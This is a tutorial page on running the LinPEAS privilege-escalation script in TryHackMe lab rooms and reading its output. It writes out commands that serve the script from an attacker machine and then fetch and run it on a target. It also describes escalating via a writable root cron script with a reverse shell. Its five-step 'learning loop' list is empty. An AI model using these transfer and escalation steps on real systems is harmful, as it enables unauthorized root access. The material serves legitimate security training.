LinPEAS on TryHackMe: a room methodology

Getting LinPEAS onto a THM target#

Most THM Linux rooms give you a low-privilege shell with network access back to your AttackBox or VPN-connected Kali. The standard transfer:

# On your attack machine:
python3 -m http.server 8000

# On the target:
cd /tmp
wget http://<your-tun0-ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee /tmp/out.txt

If the target has no wget/curl, try the other transfer methods in our download & run tutorial.

Whether you use TryHackMe's AttackBox or your own VM over VPN, keep a local folder per room with the exact linpeas.sh version you used — releases change, and re-running an old room months later with a newer script can surface different output. Consistency makes your notes comparable over time.

The learning loop (this is the point of the rooms)#

1. 1

2. 2

3. 3

4. 4

5. 5

Common beginner mistakes#

• Running LinPEAS and immediately exploiting the first red line without understanding it — you get the flag but learn nothing.
• Ignoring the "boring" sections — users, groups and software versions matter; rooms hide hints there.
• Not saving output — tee everything; you will want to re-read it after the room.
• Skipping manual verification — the exam-style skill is confirming findings by hand, not piping a script.

After the rooms: levelling up#

Once room walkthroughs feel easy, redo a room with constraints: no LinPEAS at all (manual only), or LinPEAS with -s and a 10-minute timer. Then move to HackTheBox-style methodology, where there is no room briefing telling you what to look for.

Reading LinPEAS output inside a room#

Room targets are small, so LinPEAS output is manageable — but read it with intent. The sections that matter most in beginner rooms are, in order: sudo (sudo -l output), SUID binaries, cron jobs, and interesting files (credentials, keys, history). Kernel CVEs appear too, but rooms aimed at beginners usually expect a misconfiguration vector first.

A worked mindset example (illustrative, not a room)#

Suppose LinPEAS highlights a cron script writable by your user. The technique is: cron runs that script as root on a schedule, so anything you write into it runs as root. The verification is: read the crontab line, confirm the schedule and the user, confirm the file is writable. The exploit is: append a reverse shell or a command that proves execution, wait for the schedule, catch the shell. Practise narrating those three steps — finding, verification, exploitation — for every vector; that narration is the actual skill being tested.

Building your own checklist#

After three or four rooms, write down the checks you run every time, in order. Compare it with our manual privesc checklist and fill the gaps. Your personal checklist becomes the manual-first sweep you will rely on in exams, where no room briefing tells you what to look for.